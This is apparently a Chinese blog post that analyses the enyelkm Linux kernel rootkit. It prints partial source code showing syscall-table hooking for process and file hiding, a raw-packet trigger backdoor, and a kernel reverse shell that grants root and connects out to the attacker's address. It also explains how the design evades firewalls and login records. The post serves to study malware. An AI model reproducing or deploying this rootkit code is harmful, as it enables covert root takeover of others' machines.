两个linux内核rootkit--之一:enyelkm

首先,这个rootkit其实是一个内核木马,和大多数木马不同的是,恶意木马所在的机器是客户端而不是服务器,而黑客所在的机器是服务器,这样做的好处在于可以躲避防火墙,一般的防火墙对外出的包审查不是那么严格而对进入的包审查严格,如果恶意程序是服务器,那么防火墙很可能会拦截连入服务器的黑客客户端进程导致攻击受到阻碍,现在的情况是黑客所在的机器是服务器,他首先发送召唤包到客户端,客户端收到召唤包以后就会连接服务器,这个链接一般的防火墙是不会拦截的,否则防火墙内部的机器将会受到很大的限制。该rootkit的另外一个创意就是使用虚拟终端的方式而不是普通的shell的方式,这样的话可以有效的躲避登录记录,在linux上utmp和wtmp只要负责用户的登录记录,命令who只要就是读取这个utmp文件然后将信息罗列出来,可是即使在utmp的官方文档上也提到,它不是记录所有的用户登陆,关键在于登录程序是否主动的记录,有了这个创意,恶意程序所在的机器的管理员很难发现这个内核木马,他们很难察觉到自己的机器已经被控制,只要做到了这一点就相当于做到了一切,管理员察觉不到他们自然不会去采取什么措施,攻击者自然而然也就可以长久逍遥法外了。

该rootkit主要使用替换系统调用的方式来实施攻击,替换系统调用的目的在于进程隐藏等等擦屁股机制,虽然该方式不是那么天衣无缝,最起码也能使阅读者学习一些汇编的知识,何乐而不为,如果你真的认为这种方式太土,那么就请阅读后面的一篇文章,adore的方式应该可以接近你的预想了,先看这个代码本身吧,它可以从很多站点下载,本文只是简单分析之:

int init_module(void) //模块初始化函数

{

...

lanzar_shell = 0; //该全局变量指示是否要启动一个shell

atomic_set(&read_activo, 0);

global_ip = 0xffffffff;

...//得到系统调用入口的地址,有多种方式

orig_kill = sys_call_table[__NR_kill];

orig_getdents64 = sys_call_table[__NR_getdents64];

orig_getdents = sys_call_table[__NR_getdents];

//设置钩子,也就是替换

set_idt_handler(s_call);

set_sysenter_handler(sysenter_entry);

//安装网络启动后门

my_pkt.type=htons(ETH_P_ALL);

my_pkt.func=capturar;

dev_add_pack(&my_pkt);

return(0);

}

void cleanup_module(void)//省略

在模块初始化的过程最后安装了网络启动后门,这个很容易理解,黑客一般通过网络来操作远程机器,既然通过网络,那么远程机器中必然要有一个类似间谍的程序,这就是ETH_P_ALL协议处理程序,只要注册了ETH_P_ALL协议处理程序,所有进来的数据包都会被其检查并处理,实际上这是linux网络协议栈的一个底层的机制,在网卡接收到数据以后,为了确定链路层以上该如何处理,处理逻辑会遍历所有的注册的协议处理程序,哪个可以处理哪个处理之,协议类型在skb中可以得到,其实就是解析数据帧的格式以找到固定偏移处的协议,ETH_P_ALL比较特殊,所有注册的ETH_P_ALL协议类型的处理实体会连接成一个链表,内核处理逻辑会遍历这个链表,然后让每一个ETH_P_ALL的协议处理实体去处理该接收到的数据包,当遍历完了所有的ETH_P_ALL处理实体以后,内核再将数据包交给这个skb真正的协议的处理实体,实际上ETH_P_ALL类型的协议处理实体就是一个旁路处理逻辑,无论如何都要进行的,在该rootkit中,正是这个ETH_P_ALL类型的协议处理实体检测到了远端黑客的召唤,从而将lanzar_shell设置为1,然后内核的任意一处只要检测到lanzar_shell为1,就会启动连接进程连接黑客客户端,实际上该连接进程是内核进程,内核进程不好吗?当然好,权力无限大啊。接着上面的模块初始化说,在set_idt_handler中主要就是替换系统调用处理函数,从而实现恶意程序自己的控制逻辑,它将原来的处理逻辑替换成了new_idt,我们看一下new_idt:

void new_idt(void)

{

ASMIDType //这个没啥好说的,就是简单的改变了原来的sys_call处理,跳转到hook做进一步的判断和权衡

(

"cmp %0, %%eax /n"

"jae syscallmala /n"

"jmp hook /n"

"syscallmala: /n"

"jmp dire_exit /n"

: : "i" (NR_syscalls)

);

}

void hook(void)

{

register int eax asm("eax");

switch(eax)

{

case __NR_kill: //目的是进程防杀,要防杀的进程pid存入一个全局变量,在hacked_kill中判断,如果是,那么直接返回

CallHookedSyscall(hacked_kill); //如果是调用kill,那么跳到我们的kill,以下雷同

break;

case __NR_getdents: //目的是文件隐藏,在枚举该目录下的文件的时候,如果文件名有隐藏特征,那么就跳过同时更新偏移和大小

CallHookedSyscall(hacked_getdents);

break;

case __NR_getdents64: //同上

CallHookedSyscall(hacked_getdents64);

break;

case __NR_read: //目的是隐藏文件中特定内容,下面有分析

CallHookedSyscall(hacked_read);

break;

default:

JmPushRet(dire_call); //其余的直通

break;

}

JmPushRet( after_call );

}

每一个协议类型都会注册一个处理实体,比如ip,ppp,can,或者别的私有协议,一般都是链路层以上的协议,有一种特殊的协议,其实不应该叫做协议,它就是ETH_P_ALL,这个协议主要就是旁路数据的,ETH_P_ALL所注册的接口上经过的所有的数据包都要经过它的处理,capturar作为其中一个的实现是:

int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, struct net_device *dev2)

{

unsigned short len;

char buf[256], *p;

int i;

struct iphdr *iph = (struct iphdr*)skb->network_header;

switch(iph->protocol)

{

case 1:

if (skb->pkt_type != PACKET_HOST)

...//如果不是主机包就不处理,显然需要主机包

...//后面的归根结底就是在木马服务器召唤的时候将lanzar_shell设置为1从而启动shell

}

}

在内核的任何一个地方,只要检测到lanzar_shell是1,那么就要在一个新的进程上下文中启动reverse_shell,到底在哪里判断好呢?就在我们已经截获的系统调用比如read中吧,在理解启动新的内核连接线程的同时我们顺便也简单讲解一下被黑掉的read系统调用的执行逻辑:

asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)

{

struct file *fichero;

int fput_needed;

ssize_t ret;

if (lanzar_shell == 1) //在适当情况执行连接服务器的内核线程

{

lanzar_shell = 0;

if (!fork()) //在子进程中做这件事

reverse_shell();

}

...

fichero = e_fget_light(fd, &fput_needed);

if (fichero)

{

ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);

switch(checkear(buf, ret, fichero)) //checkear其实就是一个字符串解析,前面的vfs_read已经得到了读取的字符串,该函数中解析是否存在我们需要隐藏的字符串,如果有那么返回1,如果没有,那么返回-1

{

case 1:

ret = hide_marcas(buf, ret); //由于在vfs_read已经将数据拷贝到了用户空间,那么该函数实际上就是将已经拷贝到用户空间的并且我们需要屏蔽的字符串给隐藏掉,最终的工作就是截掉需要隐藏的字符串,同时更改长度,偏移等信息

break;

case -1: //如果没有找到需要隐藏的字符串,那么什么也不做,执行最终的退出

break;

...

}

int reverse_shell(void)

{

struct task_struct *ptr = current;

struct sockaddr_in dire;

mm_segment_t old_fs;

unsigned long arg[3];

int soc, tmp_pid, i;

unsigned char tmp;

fd_set s_read;

old_fs = get_fs();

ptr->uid = 0; //root权限

ptr->euid = 0;

ptr->gid = SGID;

ptr->egid = 0;

arg[0] = AF_INET; //设置套接字创建参数,省略

...

set_fs(KERNEL_DS); //设置安全参数上限

ssetmask(~0);

for (i=0; i

close(i);

if ((soc = socketcall(SYS_SOCKET, arg)) == -1) //创建套接字

...//出错处理,假设不出错

memset((void *) &dire, 0, sizeof(dire));

//dire的global_port和global_ip在capturar协议回调函数中被赋值

dire.sin_family = AF_INET;

dire.sin_port = htons((unsigned short) global_port);

dire.sin_addr.s_addr = (unsigned long) global_ip;

arg[0] = soc; //此处三行代码设置连接参数

arg[1] = (unsigned long) &dire;

arg[2] = (unsigned long) sizeof(dire);

if (socketcall(SYS_CONNECT, arg) == -1) //连接服务器

...//出错处理,我们假设不出错

epty = get_pty(); //得到一对虚拟终端并且返回一个的描述符,这个返回的描述符在子进程使用,而另一个在此进程使用,作为子进程描述符和套接字的代理二传手

set_fs(old_fs);

if (!(tmp_pid = fork())) //在子进程中启动一个shell,见下面的函数

ejecutar_shell();

set_fs(KERNEL_DS);

while(1) //无穷循环,和黑客所在的服务器进行通信

{

...//select打开的虚拟终端和套接字

...//如果虚拟终端可读,那么将读到的数据写入到套接字

...//如果套接字可读,那么将独到的数据写入虚拟终端

} /* fin while */

...//结束,收尾处理

}

void ejecutar_shell(void)

{

struct task_struct *ptr = current;

mm_segment_t old_fs;

old_fs = get_fs();

set_fs(KERNEL_DS);

ptr->uid = 0; //这就是目的,root权限

ptr->euid = 0;

ptr->gid = SGID;

ptr->egid = 0;

dup2(epty, 0); //重定向标准输入输出

dup2(epty, 1);

dup2(epty, 2);

...//无关紧要的设置之后执行execve

execve(earg[0], (const char **) earg, (const char **) env);

}

上面就是该内核木马或者叫rootkit的大致实现逻辑,所用到的方法很土,但是却使用了操作系统hacker的一般方法,这个rootkit的实现很清晰,再清晰不过了,如果你试着去编译,很简单的就会得到远程机器的一个拥有root用户权限的shell。无论如何,这个rootkit也只能作为学习之用,在当今强大的反黑软件之前,它很容易被检测到,那么下面的一个rootkit将很难被检测到,因为它黑掉的不是确定性的东西,而是不确定的东西。

你可能感兴趣的:(linux)